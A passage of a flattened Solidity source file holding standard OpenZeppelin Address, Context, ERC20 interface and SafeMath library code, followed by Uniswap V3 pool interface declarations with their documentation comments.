(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../proxy/Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
